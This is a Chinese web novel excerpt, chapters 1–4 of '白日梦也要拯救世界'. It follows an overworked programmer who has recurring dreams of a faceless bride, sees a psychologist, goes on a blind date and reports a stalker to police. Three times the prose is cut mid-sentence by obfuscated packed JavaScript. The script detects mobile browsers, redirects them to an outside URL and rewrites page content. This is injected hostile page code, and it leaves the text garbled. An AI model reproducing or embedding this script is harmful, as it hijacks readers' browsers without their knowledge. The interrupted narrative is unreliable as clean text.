《白日梦也要拯救世界》 1. 开端(一) “下面有请新娘入场!” 台上主持人兴致昂扬的声音震得陈元音思绪回了神,她有些茫然地环顾四周,周围人手机举过头顶,眼神热烈地看着舞台相反的一处方向。 那里有蕾丝窗帘被缓缓拉开,穿着洁白丝绸婚纱的新娘踩着音乐入场了。 陈元音是在婚礼进行曲响起的时候才恍然发现这里不对劲的。 没有哪家的新娘被牵手出场的时候蒙了一脸黑雾的吧!陈元音扭头看了看站在另一端的新郎,新郎的脸上也是一团黑雾,看不清晰。 是梦啊,陈元音放开紧紧衣角抓着的双手,面色变得轻松起来。 她很久没这么做过梦了。 换句话说,她很久没有能这样保持一个完整的、舒服的睡眠了。 这都要归功于她的职业,她是一个程序员,大厂程序员。 陈元音从小学习都还不错,高考后选专业走上了时代潮流前端,毕业后正值计算机大热期,拿着比同期高出不少的薪资进入大厂,不知道被多少人羡慕。 代价就是没日没夜地加班和熬夜,经常凌晨三四点才睡觉,最严重的时候,晚上就睡了两个小时,上午继续开会。 刚开始是因为熬夜工作不能睡觉,到后来就演变成能睡觉的时候也睡不着了。什么窗外的风刮得太大了,房间外侧玻璃响了几声,楼上邻居半夜上厕所走了几步,都变成了她能睁眼到天亮的理由。 这样睡不着的日子持续了没多久,她有天洗澡,人虽然好好地站在花洒下,手心里却是抓到好大一把掉了的头发。陈元音怔住,抱着头发出来就给谭琳琳打电话,哭得撕心裂肺。 谭琳琳是她的大学舍友,两人关系不错,上学的时候就经常出去一起吃喝玩乐,毕业后都选择留在这座城市。她听说了陈元音因为失眠大把大把地掉头发之后,立马把自己的心理医生名片推给了她。 “现代人精神压力大是很普遍的事情,去看看吧。” 陈元音摸着已经有些发旧的名片,毫不犹豫地拨打了电话。 谭琳琳推荐给她的,是一家私人的心理咨询机构,坐落在湖边,很是幽静,隐私性极好。 “你好,我姓许,许宴。”普通人都对穿有白大褂的医生抱有崇高的敬意,黄色灯光的照映下,陈元音久违地感觉到一丝平静,让心脏不再跳得那么快、内心没有那么焦虑的平静。 看来这钱没算白花。 许医生看起来蛮年轻的,他很白但不算瘦弱,又穿着医生独有的白大褂,让她有些分辨不清楚真实的年龄。 说实话,她觉得这张脸更应该出现在律师这类行业中,而不是安安静静地坐在那里倾听的心理医生,带着这种先入为主的想法,无论许医生问她什么,她觉得自己在和律师谈话。 “别紧张。”许医生笑着安抚她。 做了些模棱两可的测试后,医生诊断她有严重的精神衰弱,现在可以先吃药暂缓一下。 “不是你想象的那种抑郁药物。”似乎是看出她药物的警惕,许医生说,“安神的,先好好睡一觉吧。” 没想到刚吃了一天,她就睡得如此之沉,还做出这种真假难辨的梦。要不是新娘的脸被遮住,身临其境的她压根就没想过这居然是在梦里。 “叮铃铃!叮铃铃!”陈元音一个激灵,鲤鱼打挺从床上弹起。她的闹钟被谭琳琳比作自虐,正是即使再过三十年,听到也会做噩梦的高中的铃声,无数人的噩梦——高考收卷的铃声响起了,但是卷子没做完。 真不是陈元音有自虐倾向,而是她刚工作第一个月的时候,就因为睡意朦胧又来了个回笼觉,没及时回复群里消息,被直属领导在会上点名批评,月度绩效还分了个“C”。 陈元音打小没挨过这种批评,当场脸红了个透顶。 经此一事,陈元音咬牙切齿就把闹钟改成了高中同款上课铃,没人能在这个铃声下敢赖床,她也不例外,惊醒后迅速爬起,自然不会因为回笼觉错过消息。 她拉开窗帘,对着窗外伸个懒腰,试图通过阳光刺激双眼变得更加清醒。 果然人睡饱了才会浑身舒畅,陈元音在阳台蹦跳几下,又拉伸几分钟,算是早起的小小运动,这也是医生的建议,少量运动对精神有放松的作用。 “五元,10点开会。”陈元音刚坐下,就收到了同事的行程安排。 陈元音深吸一口气。 “五元”这个名字是她在大厂的花名,当年大学生刚毕业,又是高薪大厂,整个人正沉溺于展望未来的时候。 取花名的时候她左思右想,觉得自己未来星光灿烂,性格深谋远虑,以后在职场一定要面面俱到,人又要聪明、周到、可爱、圆满,陈元音查来查去,百度说五圆意味圆圆满满,什么都占。 她一拍大腿,就是这个了!结果因为太激动打错字,“五圆”变成了“五元”。而花名只能取一次,再怎么样,她以后在这儿也都叫“五元”了。 江湖别称,五块钱。 “这个项目预计明年能拿出完整的方案,底层逻辑现在先做,五元来牵头。”组长对陈元音点点头,“下个月给我个雏形,起码要给我看到个模型的样子。” 陈元音一口应下。 “你也真敢接。”组长刚走,关系不错的同事黎韫就在茶水间抓着她咬耳朵,“这坑就是老北故意挖给你的,他自己一个月都没写成一个方案,被主管骂了个狗血淋头,就把这个烂摊子丢给你。” “老北这人睚眦必报。”陈元音偷偷吐槽,“都点我名了,我敢不接吗,怕是下个月评分D,工资减半,奖金全扣。” “哎,这真的是......”黎韫气得跺脚,被陈元音捏了一下胳膊,两人立马停止交头接耳,各自拿着水杯走出去。 陈元音怎么不知道这是个坑,职场猛如虎,大厂全是狼,老北这人学历不如她,但职级比她高两层,两人又是负责同一区域,像这种一句话丢来的项目多了去了,陈元音岿然不动,自然夺得同事们的怜悯。 至于老北这种小人,迟早有天熬死他! 这么一个烂摊子砸下来,今晚的加班时间必然不会少。 陈元音敲完最后一个字母,终于关掉了电脑。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15398713|168673||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 她一仰倒在椅子后背,发出吱呀吱呀的声响,窗外的月亮已经升到半空,酷爱加班的程序员们也都走得七七八八,这一层放眼望去,只有陈元音一人还在这里。 陈元音草草地收拾了一下东西,拎起电脑就要走人的时候手机响了。她看了一眼来电,重重叹了口气,窝回椅子里接通电话。 听筒传来了女人欢快的声音,电话是她的妈妈打来的。 陈元音小时候本来叫陈韵,她妈是英语老师,愣是说韵说是韵母的音,说要当就当老大,得叫元音。 于是她的名字就这么诞生了。 陈元音爸爸没得到大名的权力,最终抗争得到了小名取名权,喊作“元宝”。这名儿好啊,陈元音走在路上,十次有八次都能听到有人在喊元宝,不是喊狗就是喊猫。 “元宝,周末回家一趟。”母后大人的声音隔着手机下达命令。 “好好好。” “你这是什么态度。”母后大人本来欢快的声音变得生气起来,“周末回来别整天整夜抱着你那破电脑窝屋子里头。” “妈,我那是在工作。”陈元音头痛地捂住额头,回回都这样,虽然工资高,但因为经常用电脑,还是一样没有家庭地位,父母根深蒂固地觉得一直对着电脑就是错误。 “你那破工作我就不说你了啊,反正这周末你必须回家。”妈妈话音一转,美滋滋地说,“有好事!” “什么好事啊?”陈元音也来了兴趣。 “你李阿姨给你介绍了个对象。”妈妈在电话那头笑得咯咯的,心情特别好,“周末你回来见见。” 陈元音恨不得给一分钟前问是什么事的自己一巴掌,让你多嘴问这一句! “我——”还没说出两个字就被妈妈截断。 “你什么你。”对面突然从心情超好变成一个斗志昂扬的攻击姿态,“没有理由,没有借口,你要是敢说加班不回家,我就去你那儿把你抓回来。”陈元音仿佛能从最后一句话中听到妈妈磨牙的声音。 “好,好,好。”她有气无力地回答。 “你这是什么态度,回家你要还这样半死不活的,你看我怎么收拾你!” “妈,我这儿还有工作呢,领导找我先挂了啊。”陈元音把电话拉开隔得远远的,对着那边喊。 “每回说你你都正好有工作,你怎么就这么忙!!!”隔那么远,陈元音都听到她妈妈的怒吼,她有预谋的果断挂断了电话。 正好这时候,新的微信信息进来,陈元音打开一看,巧了,正好是谭琳琳约她周末找个场子喝点小酒。 “呜呜呜我妈喊我回家相亲。”周末活动泡汤,陈元音哭诉。 “哈哈哈哈哈哈哈哈!”谭琳琳毫不客气地嘲笑她,“等你的repo哦~”还附赠一个飞吻的表情。 “可恶啊!”陈元音哭诉无望。 倒是谭琳琳似乎有事在忙,没有再回复。 “啊——!”陈元音仰面倒在椅子上,发泄大喊一声,十米外的应急走廊的声控灯光随即亮起。 没吐露出口的下一个字是,烦! 2. 开端(二) 周围有些嘈杂,有孩子从桌子中间跑过,身后跟着焦急的妈妈。 陈元音坐在靠走道的边上,被路过的孩子绊了一下椅子腿儿。她伸手一把捞住差点脑袋着地的小孩,对点头道谢的妈妈敷衍地挥了挥手。 旁边的人一边讲话一边转动桌子上的圆盘,却一直不挑选自己心仪的菜。陈元音看着他的手,心里却猜着那人肯定转一整圈也不会下筷子。 “喂……”她开口。 正在这时,周围突然变得安静,就连头顶的灯光都调暗了一些。一束光打在舞台上,一位主持人装扮的男人站在光束落下的地方,他的手里举着话筒,准备讲话。 而舞台的中央,架起了一座桥,桥连接舞台和舞台的对侧,陈元音顺着桥望去,那边也打出一束光,新娘已经就位了。 “接下来,呲呲——”主持人的话筒居然在这个时候音劈了。 陈元音耳朵被这电流划过的声音刺得有些发痒,她伸手捂住耳朵,台上的人握着话筒缓了一下,继续说道,“让我们有请新娘入场。” 新娘穿着雪白的婚纱,看起来是绸缎质地的,大蓬蓬裙光泽高贵,一步一步走得沉稳典雅。 陈元音背靠着新娘走向舞台的必经之路,当她扭着身子看新娘微微低着的头,却只看到面容笼罩着一层黑色的雾气。 陈元音瞳孔紧缩,这一幕她感到有些熟悉。她惊恐地看向在场的其他观众,大家对这图案黑雾熟视无睹,又或者,这种现象只存在她的眼中。 台上的新郎对新娘伸出一只手,新娘将手搭了上去,两人并肩站在一起,和陈元音以往参加的各种婚礼流程一样。 这个时候,新娘忽然抬起头看向她。 虽然在陈元音的视角里,新娘的面孔是被一层若隐若现的黑雾遮着,但哪怕是这种情况下,她也能感受到,新娘是在看她。 就在新娘看过来的那一瞬间,她忽然心口一痛。 清晨的阳光铺满了床铺,陈元音缩在床侧,占据主位的是早已自动休眠的笔记本电脑。阳光毫无遮挡地刺着她的眼睛,昨晚她窝在床上开着电脑睡着了,连窗帘都没有拉。 陈元音一边刷牙洗漱,一边捂住自己的心口惊魂未定,早上心脏痛醒的那一瞬间,她脑海中已经闪过了无数加班猝死的新闻。 她趴在镜子前,眼睛隐隐有青色的黑眼圈,她伸出手指将耷拉的眼皮提起,放开后又立马恢复原状。 我怎么上班两年就这么憔悴了?我可才二十三啊!她暗暗心想,等忙过这段时间就去医院看看,什么水光针光子嫩肤超声炮,给我统统安排上! 不过,她怎么又梦到了这个婚礼。 没错,她以“这个”来称呼,说来也是巧了,之前她因为那团黑雾惊醒,而这她也是看到那团黑雾才猛然想到这是梦,在此之前,她一直都没觉得那里有什么不同。 这很正常,这又不是什么科幻大片,她以前做梦的时候能也意识不到这是梦。 这只是个梦而已。 “连续做梦梦到同样的事情?”黎韫惊讶,“这简直是可以发db灵异小组的事情了,真是一模一样的梦吗?” 被黎韫这么一问,陈元音自己也有些不确定了。 “我不太记得了。”陈元音说,“刚醒来的时候记得很清楚,但过一段时间就忘一些,到现在只能记住印象最深刻的几个场景,所以我现在也不能确定是不是两个相同的梦。” “很正常,大家都是这样。”黎韫点头同意,“忘了就忘了,一个梦而已,你可能是最近压力太大了。” 陈元音微微低头,睫毛阴影拉得很长,“我只是有些在意,总觉得哪里不太对劲。” “那你记下来。”陈元音看向黎韫,对方冲她摇了摇手机,“刚睡醒的时候立马记录,能写多少写多少,说不定能发现什么不一样呢?” 陈元音茅塞顿开。 下班后,她难得没待在公司,而是又去了一趟心理咨询室。 “上次的药吃了后睡得怎么样?”许医生问她。 “睡得......还行。”陈元音慢吞吞地说。 她想了好几天今天要不要来一趟,上次医生开的药是一周的量,今天正好最后一天吃完。 包包里还装着药盒。来的路上,她随意地走进一家街边的药店,医保指定站点,药店的员工左看右看,都说这药确实是治失眠的,但店里不卖。 他们说,这药需要医生处方,管控严格,只有大医院才能开,他们这样的药房没有。 “能在做梦的时候保持清醒的方法?”许医生对陈元音的问题有些诧异,他不赞同地说,“正常的睡眠状态是你现在需要的,在梦中保持清醒容易让你的大脑无法休息,和剥夺睡眠、失眠没什么区别,现代医学对大脑的开发也才10%左右,不要动这种脑筋。”他的语气充满警告。 “有别的办法吗?”陈元音硬着头皮说。 “作为医生我是万分不建议的。”许医生说道,“陈小姐,你是来治疗失眠的。至于你说你做了相同的梦这样的事情……”他叹了口气说,“应该是你最近太累了,将一些担心具象化,自然映射在梦中。” “不可以催眠吗?”陈元音问,“催眠也不可以让我想起我做的梦吗?” “任何控制梦境的都会对自身造成不可逆的影响。”许医生说,“你会越来越分不清现实和梦。” “如果我定时呢?”陈元音听出弦外之音,“一个特定的铃声,像盗梦空间里面的硬币一样。” “我无法保证,对于任何无法保证的事情我都拒绝为你提供建议。”许医生冷漠地说,“陈小姐,我是个心理医生,我有自己的职业操守。” 陈元音被气笑了,你能给出大医院才能有的处方药,但拒绝教我如何记住梦的内容? “上网呗。”谭琳琳听她吐槽,若有所思,在电话里劝她,“医生嘛你也知道,他给你治失眠的,万一出点什么问题找到他头上这不是砸他招牌嘛,他肯定不会告诉你的。但你可以上学搜,网上能人那么多,有什么问不到的啊?” 陈元音大彻大悟。 还是朋友们好,不像那个许医生,只会双手交叉遮住半张脸,无所谓地说她,“ ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15398714|168673||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 陈小姐,只是个梦而已,你只是压力太大了,不必在意这些。” 我可能确实是压力太大了,周末坐在家中对着妈妈的魔音左耳朵进右耳朵出的陈元音如是想。 “哎呀,这次李阿姨给你介绍的那个对象可真不错的,那个男孩的妈妈是个医生。”陈元音碗里出现一筷子芹菜,她皱了皱眉头拨开。 “他妈是医生,又不是他是医生。” “这个男孩也非常优秀的呀,把芹菜吃了。”妈妈眼瞄过被拨开的芹菜,“银行的,铁饭碗!再说家里有个医生好啊,以后老人老了去医院的次数越来越多,有人好说话。就是他妈妈当医生比较忙,你们俩的孩子以后还得我来看……” “八字没个一撇呢,人都没见到你就想这么远。”陈元音听不下去了,咣地放下筷子。 这厢她刚坐下还没吃几口,妈妈那边就提了三遍,可见是满意得不得了。 见陈元音闹脾气,他那一声不吭的爸爸赶紧打起圆场,“吃饭,吃饭。” “吃饭,把你碗里的芹菜吃了。打小就挑食,现在挑对象,上回你嫌那个当老师的早自习晚自习上班忙,我倒要看看你最后能找个什么样儿的!” “别说了……”陈爸爸看陈元音越来越黑的脸,赶紧拍了拍陈妈妈手臂。 “怎么了,吃我的喝我的,说一句就不行了?” 没等陈妈妈说完,陈元音深吸一口气,憋着火把碗扔到厨房的洗碗池里头一顿洗,只听到外面朦胧的一句“吃的鸡蛋还是我参加保健会领的呢……”,她头也不回地回到自己房间,门关得死死地。 深吸的那口气堵在心口,发也发不出来。 难受得很。 周末的天气不错,陈妈妈出门前还喊了陈元音一嗓子,让她别忘记今天的约会,顺便打扮一下,别头也不洗的就出门。 “你好,我叫吴翡。”对面的男孩子有些胖,穿着大街小巷各个年龄段似乎都有得黑灰色相间的冲锋衣,黑色框架眼镜后面的眼睛不敢看她,只坐在那里低头盯着桌子,比她打扮得更像大众刻板印象中的程序员,他腼腆地说,“翡翠的翡。” “陈元音,XX集团程序员。” 相亲的地点是陈元音自己选的,闹市区的必胜客,下午茶套餐,整个下来不超过100,陈元音已经付过钱了。 她想速战速决。 “是这样的吴先生。”她率先开口,“这次相亲其实我妈妈在未告知我的情况下私自约的,我的工作刚刚也已经介绍过了,我们当程序员的平时非常非常忙碌,加班极其严重。” 似乎听出了她的言外之意,吴翡攥着手沉默不语。 她抱歉地解释道,“我可能没有时间也没有精力开启一段新的恋情,很抱歉耽误你今天的时间,这顿我请。” 她说的是实话,陈妈妈上一个给她介绍那个男老师就是这么黄的,男老师嫌她加班严重,上来第一句话就要她辞职,最好生完一个孩子再出去工作,无语的陈元音当场拎包走人,最后还被倒打一耙说她没有礼貌。 这回她只是把丑话说在前头了而已。 3. 开端(三) “今天那个小伙子怎么样?”陈妈妈神秘兮兮地凑过来。 “我拒绝了。”陈元音嚼着薯片,含糊不清地回答。 “什么?拒绝了?”陈妈妈的脸顿时变得严肃起来,她半个身子趴在沙发上,手里抓着陈元音的手指,紧张兮兮问她,“怎么回事?” 陈妈妈抓得她太紧,陈元音不动声色地将手指抽出来,“不喜欢啊,而且我不想这么着急,这种事情看缘分的。” “哧!”陈妈妈嗤笑一声,她忙着出门,倒是没有再问,“那你等着你的缘分吧!”她边说,边对着门口衣帽架上的镜子揪了揪头发,抓起包扭头就出门了。 “上哪去啊!”陈元音人没下床,半个身子悬空倒在边缘,脸冲门口喊。 “去参加保健会!”门口传回陈妈妈的声音,还有她摸索钥匙的声音,“晚饭你自己解决。还有!别忘了遛狗!” “好耶!”陈元音有气无力地躺在床上举起双手欢呼。 “你妈这次这么好说话?”陈元音对着电脑敲敲打打,手机开着免提和谭琳琳闲聊。 “可能是保健会太诱人,也可能是终于对我心灰意冷。”陈元音倒是美滋滋的,这场相亲能够全身而退,和她前一日回忆总结以往的经验小抄密不可分。 “说不定想着词儿回来训你呢。”谭琳琳挖苦她,“高兴得太早了。” “人生嘛,开心一天是一天,先高兴上,别的再说,说不定她回来就忘了呢。咦?你等下我,我好像听见我家门响了。” 陈元音脚踩拖鞋,手拿手机。她家里还住着以前教师分配的房子,门口还是老式的两道门,一道防盗门,一道正门。家里不是没有别的房子,但爸爸还没退休,这里离单位最近,走路几分钟就能到,于是平时还是住在老城区这里。 她打开内侧的门,透过防盗门的纱窗向外看,楼道里漆黑一片,什么也没有。 奇怪,她原地跺了下脚,声控灯应声响起,楼道里空空荡荡,什么也没有。 “阿姨这么快就回来了?”谭琳琳的声音从电话传出来。 “没有。”陈元音奇怪地关上门,挠了挠头,“可能是我听错了。”脚下的小狗拱着防盗窗,冲着陈元音呜呜两下。 “你好傻。”电话里的谭琳琳沉默半晌,吐槽她。 “哎呀!”陈元音一拍脑袋,“是小黄子挠门呢,我忘了遛狗了!” 这个时候遛狗不算晚,毕竟养狗人风雨无阻。 倒是她现在都还没有吃晚饭这件事更为重要,其实忘记时间也不能怪她,一鼓作气地写完项目大纲后就已经晚上八点半,修改修改和谭琳琳唠了几句就九点了,要不是狗子以为终于要出门了在她打开门的时候呜呜呜的挠门,她都不觉得自己饿。 吃晚饭遛狗消食,正好一举两得。 飞速的解决晚饭后,一人一狗正在沿着湖边的小路慢慢地走着,她想要找个安静点的地方边走路边思考。 老北教给她的项目已经有了大致的雏形,周一得找黎韫商量一下,有几个模型的代码她拿不准,得问问其他人的意见。 忽然,她听到湖边茂密的草丛里有些动静,她走进后又没了声音,倒是她牵着的小狗转着圈嗅来嗅去,低声犬吠发出隐隐的威胁声。 她想,夜深人静的夜晚,在伸手不见五指的湖中,看不见荡漾的波纹,置身其中又会是什么感觉。 这种感觉太奇怪了,她摸了摸自己起了一层鸡皮疙瘩的手臂,突然有一丝凉意。 好像知道她在想什么似的,正在手中牵着的小狗低声呜咽,陈元音对着湖水胡思乱想的时候,头顶的小路灯“噗”的一下子灭了。 陈元音一下子毛骨悚然,汗毛竖起。 屋漏偏偏又逢雨,陈元音害怕了,她快步走了起来想要离开,但一向乖巧的小黄无论拽都拽不动。牵引绳都被绷直了,但它两只前爪仍扒着地面,屁股撅起来,眼睛盯着湖畔的灌丛中,喉咙发出低吼的声音。 一向胆子大的陈元音这下彻底毛了,都说狗能看见不一样的东西,这地方因为路灯太暗,前后都鲜少有人散步路过。现在唯一的战斗力小黄又是这副模样,死活不肯走,她能做的就是死死地抓着绳子,不停地前后左右的侦察。 头顶路灯灭得太快,她前后左右地张望的时候,只听见树叶沙沙作响,好像有什么过去了,又好像什么都没有。 “小黄!”陈元音是真的害怕,她咬牙切齿地威胁,“你再不走,我就把你拴在这里明天再接你回家!” 话音刚落,她感觉到手中的绳子没了阻力,小黄泄下了刚刚警戒十足的力道。 谢天谢地,陈元音三步并两步,头也不回,几乎是一路小跑跑回了大道。经常熬夜气血亏空,这一路跑得她气喘吁吁,终于见到人之后才放下心来,狠狠松了一口才敢回头。 身后有树叶响动,她好像看到一片衣角在灌丛中掠过,她揉了揉眼睛,手下的牵引绳绷得笔直,是小黄在催着她快走。 这莫名其妙的一晚成功让陈元音破天荒地没有再考虑工作上的事情。 “许医生,长期失眠会出现幻觉吗?”虽然没了那种奇怪的感觉,但她回家后想了许久,许多奇怪的事情都是自她失眠后开始吃药开始的,她还是打下这么一句话决定问一问。 其实没想着今晚就能收到回复,没想到许医生的信息很快到达:“你出现了幻觉的症状?” 怎么解释这件事情呢,毕竟许医生之前对那个奇怪的梦的解释也只是“那只是个梦而已”。陈元音正在思考怎么回的当头,许医生就等不及她手脚慢吞吞地措辞时间,语音电话随即就打了进来。 他的语气十分严肃,“你出现了什么幻觉?” 说来也不算什么重要的事,陈元音甚至觉得是不是自己想多了,毕竟人独身身处在黑暗的情况下,想象力会替她补充细节。 她潦草地说了下今晚的事情,许医生沉思了一会儿,嘱咐她,“记得吃药,关注下做梦梦到的事情是否会出现在现实中。” 陈元音再追问,许医生也只是含糊地解释了下说是大脑会记住一些平日里不曾关注的事情,如果出现幻觉的话也许会在梦中体现,严重的话他会根据情况换药。 “记得吃药。”他重复。 挂掉医生的电话,她立马搜索了关于幻觉,出现的第一条就是精神分裂症,幻觉幻听已经是躯体化症状之一,也难怪许医生一听到她出现幻觉就严肃起来。 她说谎了,她根本没带药回家。 怕爸妈看见她吃药担心,陈元音干脆就没带药回家,不过心里面藏这事,自然一晚上没睡个安稳。 “元宝!”天都亮了,好不容易才松了松眼皮,陈妈妈的魔音就在耳边响起,陈元音睁开睡眼惺忪的双眼,耳边是妈妈冷静的声音,“你老实告诉我,你是不是根本就没去见那个人?” “哪个人?”陈元音眼是睁开了,脑子还在睡。 “相亲的那个啊!”陈妈妈急了,她坐在床边上,趴在陈元音的被子上面,压得她身上好似千斤重,“你是不是根本就没去见那个人?” “没有啊,我见了啊。”还是当面拒绝的呢。陈元音奇怪极了,“是不是有点胖,个子不高,戴个黑框眼镜。”她极力地回想那人的特征,“穿个墨绿色和灰色相间的冲锋衣,嗯……就差不多这样吧!” 陈妈妈是老师,又是自 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15398715|168673||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 己家孩子,撒没撒谎一眼就能看出来,她狐疑地问,“真的?” “真的!”陈元音就差对天发誓了,“你为什么这么问?” “你李阿姨说那男生说他根本没见到你。” 知道她被吵醒的真相之后更生气了,陈元音似笑非笑,“然后你就直接断定我肯定没见他?” “我这不是来问你了吗!”陈妈妈振振有词。 “你实话跟我说,真的见了?” “出去出去出去!”陈元音大怒,她伸出手臂猛晃动自己的被子,陈妈哎哟一声歪了下身子,不再趴到她的床上跟她讲话,一溜烟地跑了,关门前还喊她饭在桌上等会儿不要忘记吃。 被这么一搅和哪儿还睡得着,陈元音半张脸蒙在被子里,气得两条长腿直剁床,这是她从小生气时发泄的方式。 并不是起床气,而是对妈妈对外人的一句话全权相信,但对女儿的解释要求再三确认的不信任的态度感到无力又愤怒。 “喝酒!我要喝酒!” 酒精是最好的一忘皆空咒。 俗话说,一醉解千愁,举杯消愁愁更愁。陈元音挑了个不算太远的烧烤店,约了谭琳琳吃小烧烤喝啤酒。 谭琳琳从来千杯不醉,她捏着桌子上的小啤酒瓶子晃晃荡荡,鄙视陈元音,“这不就是水吗?” “女侠,你不是从来不带我去酒吧的吗?”陈元音撇嘴。她知道谭琳琳偶尔去酒吧买醉,但从来不会带她去,一提起来去酒吧就左顾右右其他。具在酒吧见过她的人说她这人千杯不醉,在酒吧也是独自一人走在那里独酌,颇有些落寞人的滋味。 但她知道,谭琳琳从未谈过恋爱,于是这落寞人的传言颇具有些个人色彩了。 “少来,喝酒对身体不好。”谭琳琳给自己倒上一满杯,在快要溢出时迅速用嘴吸掉最上层的泡沫,“就你那小身板,我都怕你哪天猝死了,就这样还喝酒呢。” “我是真的烦。”陈元音叹气,把苦恼一股脑全倒了出来,甚至包括怀疑自己得了精神分裂,被谭琳琳好一顿笑。 谭琳琳是标准的大美女,她笑她的时候赏心悦目,陈元音一点都不觉得嘲讽,只觉得花痴。 家家有本难念的经,谭琳琳不知如何劝她,陈元音说起家里事的时候,她也只是静静地听着,偶尔倒上一杯。等酒喝得差不多了,她人设不变的一点事儿都没有,面前的陈元音开始晕晕乎乎的摸不着边了。 空旷的天空倏地打了个响雷,惊得路人一阵恐慌,怕是要下雨了。 这一记响雷,酒醉也惊醒三分。 “是不是得回家了?”陈元音瞪圆的眼睛也看不清外面到底下没下雨。 “是,你要回哪个家?我送你。” 谭琳琳结账后把包换了只手,另一只扶着陈元音,两人磕磕绊绊从烧烤店出来。 虽然还未入夏,但空气中已经开始吹起黏黏糊糊的潮湿的热气了。 等到人类发现自己被那道响雷欺骗,黢黑的天空没有一点要下雨的迹象的时候,散步的人都已经零零散散归家。 如果开了广角,可以看到两个女孩从烧烤店出发,路过名槐街,顾名思义一条街种的都是老槐树,她们的目的地陈元音父母家,老住宅区白日里看着绿化极好,晚上便是静谧十分。 路灯隐秘在道路两旁的老槐树中,槐树的树干弯弯曲曲,像极了动画片中古堡周围。谭琳琳感觉到她的袖子一路上都被攥得紧紧的,耳边传来陈元音极小的气音,害怕惊动什么人。 “你也发现了有人在跟踪我,是不是?”陈元音的声音听起来快要哭了。 树叶沙沙作响,风终于起了,这下好像真的要下雨了。 4. 开端(四) 派出所的白炽灯大亮,空气沉闷。 两旁的铁椅被白炽灯的灯光自上而下地照亮着,正对着大门处,冷白色调的墙上挂着大色的红色字体:为人民服务。 威严又冰冷。 陈元音站在门口走了一下神,恍惚间觉得自己梦到过这么个场景。 两个姑娘到达北湖区派出所已经差不多快十点了。这其中出了一点小差错,她们先去的是导航显示最近的派出所,结果被告知事发地为非管辖区域。于是她们又找了半天才找到那边警察所说的更大一些的派出所,正属于陈元音父母小区管辖区,名叫北湖派出所。 该派出所看起来挺大,里面亮堂堂的挨着墙放了两排椅子。左边一排最靠外的座位上瘫了一个醉汉,头顶明亮的白炽灯丝毫没有影响他的睡眠,此起彼伏的呼噜声犹如交响乐,指挥着彼时乱成一团的大堂。 这一列再往里点是几个男人指手画脚、口齿不清地在和一位穿制服的警察说些什么,路过的陈元音听了一耳朵,无非是些酒后矛盾。 右边那列只坐了两个人,一位年轻的女警和一位衣着朴素的中年妇女正在交头接耳地说着什么。 抛开派出所庄严的背景来看,这里和市区随便一家商场地没有什么区别,一伙人由一位制服人员对接,“销售”、“客户”界限分明。 值班室坐着一位男警,眼底略黑,眼泡虚浮,他耷拉的眼皮左右一看,一手指着面前的座位,示意俩人坐下,扭头对着值班室里面房间大声喊,“小宋!来记笔录了!” “来了来了沈哥。” 被喊做小宋的是位年轻的男警官,他看陈元音和谭琳琳坐在那里一怔,有些惋惜地问,“报案啊?” 陈元音点点头。 “需要做验伤吗?”警官小声问的问,小宋警官轻车熟路地打开做笔录的笔记本。 “那倒不用……”陈元音摇摇头,“我是被跟踪了。” 沈警官和小宋警官交换下眼神,肩膀都放松了下来,小宋警官把笔往本子里头一夹,后背靠在了椅子上,人明显轻松了很多。 “继续。”沈警官问:“在哪?什么时候?” “第一次是北湖公园西侧的小路,大概是晚上九点左右,遛狗的时候感觉有人跟着我。” “有看到是谁吗?” “没有。”陈元音摇头,“今天我和我朋友吃过饭在路上走着,也察觉到了有人在跟踪。” “只是跟踪?” “对,只是跟踪。” “那有点难办啊。”沈警官抓了抓后脑勺上乱糟糟的头发,面露难色。 “什么意思?”谭琳琳拧着眉头问。 “没有构成实质性犯罪,我们警察连上门警告的权利都没有,更别说你都不知道尾随你的人长什么样子。”小宋警官闷闷不乐地说。 “你的意思是你们警察就什么都不能做?”谭琳琳厉声质问。 小宋警官耸耸肩,被沈警官拍了下肩膀,人耷拉下来,沈警官看着陈元音说,“还有什么能想起来的吗?再想一想呢?” 没有了,脱离被跟踪时的恐惧后,陈元音一开始也担心还不是自己想多了疑神疑鬼,但是手臂细小的生理反应告诉她就是这样,绝对有个人在一直跟着她,无论是下班还是遛狗,独自一人还是和朋友一起,有一个人一直在对着毫无反应的她。 咔嚓。 现在人们用手机的频率变高了,自拍他拍风景拍到处都是,直到在黑暗的、空无一人的小巷中,陈元音才确认,这个一直跟踪她的人,同时也在偷拍她。 只是可惜没有当场抓到他。 一想到这个人跟着她下班,跟着她挤地铁,甚至刚刚和谭琳琳一起吃烧烤的时候可能坐在一个空间里。傍晚的烤肉在小腹翻江倒海,她忍住胃里的恶心急匆匆来到这里,只得到了一句“我们也没有办法”。 